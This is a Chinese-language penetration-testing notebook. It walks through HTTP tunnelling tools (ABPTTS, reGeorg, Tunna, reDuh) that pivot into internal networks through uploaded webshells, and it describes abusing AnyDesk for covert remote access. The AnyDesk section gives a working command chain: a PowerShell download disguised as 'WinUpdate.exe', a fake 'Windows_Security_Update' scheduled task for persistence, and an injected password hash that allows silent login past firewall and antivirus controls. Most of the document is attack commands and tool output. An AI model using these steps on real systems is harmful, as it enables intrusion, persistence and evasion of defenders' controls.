ABPTTS简介:
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。
2016年blackhat介绍:
Github:
安装与生成payload:
root@John:~# git clone https://github.com/nccgroup/ABPTTS.git
Cloning into 'ABPTTS'...
remote: Enumerating objects: 50, done.
remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50
Unpacking objects: 100% (50/50), done.
root@John:~# pip install pycrypto
Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist‐packages (2.6.1)
root@John:~# cd ABPTTS/
root@John:~/ABPTTS# ls
abpttsclient.py abpttsfactory.py ABPTTS‐Manual.pdf data libabptts.py license.txt README.md settings_overlays template
root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell
[2019‐01‐28 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐
[2019‐01‐28 08:24:28.131954] ‐‐==[[ ‐ Factory ‐ ]]==‐‐
[2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group
[2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30
[2019‐01‐28 08:24:28.132706] Output files will be created in "/root/ABPTTS/webshell"
[2019‐01‐28 08:24:28.132722] Client‐side configuration file will be written as "/root/ABPTTS/webshell/config.txt"
[2019‐01‐28 08:24:28.132739] Using "/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt" as a wordlist file
[2019‐01‐28 08:24:28.136713] Created client configuration file "/root/ABPTTS/webshell/config.txt"
[2019‐01‐28 08:24:28.137760] Created server file "/root/ABPTTS/webshell/abptts.jsp"
[2019‐01‐28 08:24:28.138342] Created server file "/root/ABPTTS/webshell/abptts.aspx"
[2019‐01‐28 08:24:28.138492] Created server file "/root/ABPTTS/webshell/war/WEB‐INF/web.xml"
[2019‐01‐28 08:24:28.138555] Created server file "/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF"
[2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/scabGroup.war
[2019‐01‐28 08:24:28.139140] Unpacked WAR file contents:/root/ABPTTS/webshell/war
安装pycrypto
出现问题参考:
靶机执行:
以aspx为demo
攻击机执行:
注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port
python abpttsclient.py -c webshell/config.txt -u "http://192.168.126.170:8031/abptts.aspx" -f 192.168.1.101:33389/192.168.126.170:3389
然后连接192.168.1.101:33389
即可,挺卡的。
提示目前不支持PHP
reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款 http 隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX 等页面上传到目标服务器,便可以访问该服务器后面的主机。
2014年blackhat介绍
Github:
环境
靶机:
192.168.126.170 外网IP
192.168.2.102 内网IP
安装
root@John:~# git clone https://github.com/sensepost/reGeorg.git
Cloning into 'reGeorg'...
remote: Enumerating objects: 85, done.
remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85
Unpacking objects: 100% (85/85), done.
root@John:~# cd reGeorg/
root@John:~reGeorg# ls
LICENSE.html LICENSE.txt README.md reGeorgSocksProxy.py tunnel.ashx tu
nnel.aspx tunnel.js tunnel.jsp tunnel.nosocket.php tunnel.php tunnel.tomcat.5.jsp
root@John:~/reGeorg# python reGeorgSocksProxy.py ‐h
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
[email protected] / @_w_m__
[email protected] / @trowalts
[email protected] / @kamp_staaldraad
usage: reGeorgSocksProxy.py [‐h] [‐l] [‐p] [‐r] ‐u [‐v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
‐h, ‐‐help show this help message and exit
‐l , ‐‐listen‐on The default listening address
‐p , ‐‐listen‐port The default listening port
‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST
‐u , ‐‐url The url containing the tunnel script
‐v , ‐‐verbose Verbose output[INFO\|DEBUG]
靶机执行:
以aspx为demo
攻击机执行:
python reGeorgSocksProxy.py -p 8080 -u http://192.168.126.170:8031/tunnel.aspx
Windows下配合Proxifier:
目前大部分waf都会针对默认原装版本的reGeorg
Tunna简介:
Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。
Tunna演示稿:
Github:
环境:
攻击机
192.168.1.101
靶机
192.168.126.170 外网IP
192.168.2.102 内网IP
安装:
root@John:~# git clone https://github.com/SECFORCE/Tunna.git
Cloning into 'Tunna'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 156 (delta 0), reused 2 (delta 0), pack‐reused 150
Receiving objects: 100% (156/156), 8.93 MiB | 25.00 KiB/s, done.
Resolving deltas: 100% (84/84), done.
靶机执行:
以aspx为demo
攻击机执行:
py -2 proxy.py -u http://192.168.126.170:8031/conn.aspx -l 1234 -r 3389 -s -v
附录:
解决:General Exception: [Errno 104] Connection reset by peer
[+] Spawning keep‐alive thread
[‐] Keep‐alive thread not required
[+] Checking for proxy: False
连接后,出现
General Exception: [Errno 104] Connection reset by peer
等待出现:无法验证此远程计算机的身份,是否仍要连接?
再次运行,在点击是(Y)
py -2 proxy.py -u http://192.168.126.170:8031/conn.aspx -l 1234 -r 3389 -s -v
如果:没有出现“无法验证此远程计算机的身份,是否仍要连接?”
注册表键值:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
删除对应IP键值即可。
Tunna对PHP的支持并不是太友好
https://micro8.gitbook.io/micro8/contents-1/91-100/99http-sui-dao-tunna-di-san-ji
reDuh简介:
reDuh是sensepost由2008-07年发布,从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。
BlackHat USA 2008介绍:
reDuh使用条件
(1)获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件。
(2)知道目标服务器开放的内网端口,如远程桌面的端口是3389。
(3)目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口。
Github:
环境:
攻击机
192.168.1.101
靶机
192.168.126.170 外网IP
192.168.2.102 内网IP
安装:
root@John:~# git clone https://github.com/sensepost/reDuh.git
Cloning into 'reDuh'...
remote: Enumerating objects: 47, done.
remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47
Unpacking objects: 100% (47/47), done.
root@John:~# cd reDuh/
root@John:~/reDuh# ls
README.markdown reDuhClient reDuhServers
靶机执行:
以aspx为demo
攻击机执行:
绑定端口:
$ java -jar reDuhClient.jar http://192.168.126.170:8031/reDuh.aspx host:3389
[Info]Using Proxy: host:3389
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from 192.168.126.170:8031/reDuh.aspx. Using service port 42000. Please wait...
[Info]*********************************************************
[Info]*** Using proxy ***
[Info]*********************************************************
[Info]*** We'll not know whether reDuh started successfully ***
[Info]*** Starting ReDuh now and lets hope for the best... ***
[Info]*********************************************************
[Info]reDuhClient service listener started on local port 1010
开启新terminal,建立隧道
命令如下:
telnet 127.0.0.1 1010
然后执行
[createTunnel]1234:127.0.0.1:3389
访问本地1234端口,既等价于访问靶机3389端口
遗憾的是reDuh年代久远,使用繁琐,并官方已停止维护。但是它奠定了HTTP隧道
前言
在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\ICMP\端口转发等,大多数端口都存在被禁用的可能,但是ICMP作为基础服务被禁用的可能性却极小,在常用协议都被禁用的情况下可以考虑使用ICMP隧道。
网络拓扑
内网主机10.10.10.0/24除了ICMP通讯不能主动访问外网任何资源,20.20.20.101为hack的ICMP隧道服务端
可以参考
anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小
场景举例
1)有云锁,护卫神等禁止3389登录时
2)类似阿里云这种,登录3389会报警
3)连接内网中可以出网的windows机器
注意事项
1)启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
2)启动anydesk时桌面不能被注销
3)有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用
winlogon启动anydesk,否则没法使用屏幕
https://www.zhihuifly.com/t/topic/1121
https://422926799.github.io/posts/6b1dcf8a.html
这里是还有很骚气的方法,往后在亲自复现…
复现另外的方法…
AnyDesk利用
AnyDesk 是一款声称速度最快的免费长途衔接/长途桌面操控软件,据说是前 TeamViewer 开发小组人员自立门户的商品,它拥有领先的视频压缩技能 DeskRT, 能够轻松穿透防火墙/路由器。 重点是不用安装,而且体积只有2,917KB。
镜外诈骗人员使用修改版本做为远控,发给受害人获取控制电脑权限。
本地anydesk设置自主访问密码,然后生成的配置文件放到目标中,这样只要获取ad.anynet.id即可连接。收费版支持命令行反回ad.anynet.id与设置密码。不需要像免费版这么复杂。
使用场景
云锁,护卫神等禁止3389登录绕过;
阿里云登录3389则会IP报警提示绕过;
内网穿透机器、传输文件等;
白名单软件过全世界所有杀软、流量加密;
BlackRouter勒索软件通过AnyDesk捆绑进行传播;
支持操作系统
Windows
MacOS
Android
IOS
Linux
FreeBSD
Raspberry Pi
Chrome OS
利用条件
桌面用户权
anydesk时桌面不能被注
首先本机生成密码:
配置文件将会保存在:
service.conf存放
ad.anynet.pwd_hash与ad.anynet.pwd_salt提取出来。
system.conf存放:
ad.anynet.id
Webshell中将Anydesk上传受害者机器,运行一遍Anydesk,然后kill掉
taskkill /F /IM AnyDesk.exe
在进入到
C:\Users\{username}\AppData\Roaming\AnyDesk
路径把以上两个配置写入到service.conf文件下
连接
命令复现
powershelgl.exe "(New-Object System.Net.WebClient).DownloadFile(\"https://download.anydesk.com/AnyDesk.exe\",\"C:\inetpub\wwwroot\WinUpdate.exe\")"
确定有哪些用户当前正在使用桌面:
powershelgl.exe "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().User) -split '\n')"
创建一个计划任务:
schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\inetpub\wwwroot\WinUpdate.exe" /RU administrator
先执行一次生成配置文件:
schtasks /run /tn Windows_Security_Update
结束掉进程:
taskkill /F /IM WinUpdate.exe
添加密码
echo ad.anynet.pwd_hash=a7f9ef816567ddeb071c985771698c70a6aec4c70dc284943b3104dcc06b8184 >> C:\Users\administrator\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=5afbd8fc7334032ddbddd489363e25f8 >> C:\Users\administrator\AppData\Roaming\AnyDesk\service.conf
利用需要一定条件,除此之外也需要考虑WebShell免杀。
https://www.moonsec.com/archives/1098 --云渗透思路
https://xz.aliyun.com/t/7217 --域渗透——Kerberos委派攻击
https://xz.aliyun.com/t/7517 --Kerberos之域内委派攻击
https://422926799.github.io/posts/4d3be28.html --跟着先知社区复现文章
https://www.cnblogs.com/backlion/p/10537813.html --老文章思路
https://www.anquanke.com/post/id/166934 --攻击活动目录:无约束委派及域林信任
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html --最详细的介绍,有视频,但是全英文,感谢大佬
认真看完,就能熟悉了…
https://zhuanlan.kanxue.com/article-9787.htm --ATT&CK攻防初窥系列--执行篇(一)
https://zhuanlan.kanxue.com/article-10014.htm ---ATT&CK攻防初窥系列--执行篇(二)
https://zhuanlan.kanxue.com/article-9857.htm ---ATT&CK攻防初窥系列--横向移动篇(一)
感谢看雪大佬!!
powershell无文件利用自blackhat演讲至今已经过去近5年,将来的日子会越来越不好过,windows的审计会越来越细,以后将是.NET的天下。从CS推荐使用.NET内存加载开始就已经慢慢变成红队的主流(execute-assembly)
https://xz.aliyun.com/t/7903 --感谢大佬的思路和技术,6月份最新的复现
https://www.chabug.org/web/1324.html --感谢s1ye大佬
书中还有更好的思路,找时间按照书里的复现写出来…
https://www.kanxue.com/book-38-473.htm --看雪高级渗透课堂!
https://zhuanlan.zhihu.com/p/36250656 --原文
参考